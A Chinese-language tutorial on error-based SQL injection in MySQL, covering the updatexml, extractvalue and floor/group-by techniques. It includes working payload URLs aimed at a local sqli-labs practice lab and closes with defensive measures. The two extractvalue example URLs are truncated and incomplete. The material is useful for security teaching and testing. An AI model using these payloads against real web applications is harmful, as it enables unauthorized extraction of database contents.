报错注入的三种类型
字数 1274 2025-08-22 12:23:06
SQL报错注入技术详解
一、报错注入概述
报错注入是一种SQL注入技术,通过故意构造错误的SQL语句,使数据库返回错误信息,从而从错误信息中获取敏感数据。报错注入通常用于目标网站不直接显示查询结果但会显示错误信息的场景。
二、updatexml报错注入
1. updatexml函数基础
updatexml函数的基本语法:
updatexml(xml_document, XPath_string, new_value)
xml_document:XML文档对象XPath_string:Xpath路径表达式new_value:更新后的内容
2. 注入原理
通过第二个参数注入不符合Xpath语法的表达式,引起数据库报错,并通过错误信息获取数据。Xpath语法错误是导致报错的关键。
3. 注入语法
基本注入格式:
and updatexml(1,concat(0x7e,database()),1)--+
其中:
0x7e是"~"的十六进制表示database()可以替换为其他想要查询的信息
4. 实际示例
http://localhost/sqlilab/Less-5/?id=1' and updatexml(1,concat(0x7e,database(),version()),1)--+
http://localhost/sqlilab/Less-5/?id=1' and updatexml(1,concat("~",database(),version()),1)--+
三、extractvalue报错注入
1. extractvalue函数基础
extractvalue函数的基本语法:
extractvalue(xml_frag, xpath_expr)
xml_frag:XML片段xpath_expr:Xpath表达式
2. 注入原理
通过提供一个无效的Xpath表达式,导致函数报错,从而获取数据。
3. 数据库实例
select extractvalue(rand(),concat(0x7e,(select @@version)));
4. SQL注入实例
http://localhost/sqlilab/Less-5/?id=1' and (select extractvalue(rand(),concat(0x7e,(database()
http://localhost/sqlilab/Less-5/?id=1' and (select extractvalue(rand(),concat(0x7e,(database()),version(
四、floor报错注入
1. floor函数基础
floor()函数返回小于或等于给定数字的最大整数。
2. 注入原理
利用floor()函数结合group by和count(*)等函数触发数据库报错,获取敏感信息。
3. 注入语法
1' and (select count(*),concat(database()),floor(rand(0)*2))x from information_schema.tables group by x)--+
解释:
database():获取当前数据库名rand(0):随机函数floor(rand(0)*2):用于制造分组错误x:子查询中拼接结果列的别名count(*):统计记录数information_schema.tables:用于查询表信息的系统表group by x:触发分组错误
4. 数据库实例
select count(*),concat(database()),floor(rand()*2)x from users group by x;
select count(*),concat(version()),floor(rand()*2)x from users group by x;
五、报错注入关键点总结
-
updatexml注入:
- 必须使用
concat()函数 - 中间必须包含
0x7e或"~"字符 - 利用Xpath语法错误触发报错
- 必须使用
-
extractvalue注入:
- 同样需要构造无效Xpath表达式
- 通常与
concat()和0x7e结合使用
-
floor注入:
- 需要结合
count(*)和group by - 利用
rand()和floor()函数制造分组错误 - 需要为表达式指定别名
- 需要结合
-
通用技巧:
- 可以通过这些函数获取数据库名、版本、表名、列名等信息
- 错误信息通常只会返回部分结果,可能需要多次注入获取完整信息
- 可以使用
substring()或limit等函数分段获取数据
六、防御措施
- 使用参数化查询或预处理语句
- 对用户输入进行严格过滤和转义
- 配置数据库不显示详细错误信息
- 使用最小权限原则,限制数据库用户权限
- 定期进行安全审计和渗透测试
通过掌握这三种报错注入技术,安全测试人员可以更全面地评估Web应用的安全性,而开发人员则可以更好地理解如何防御这类攻击。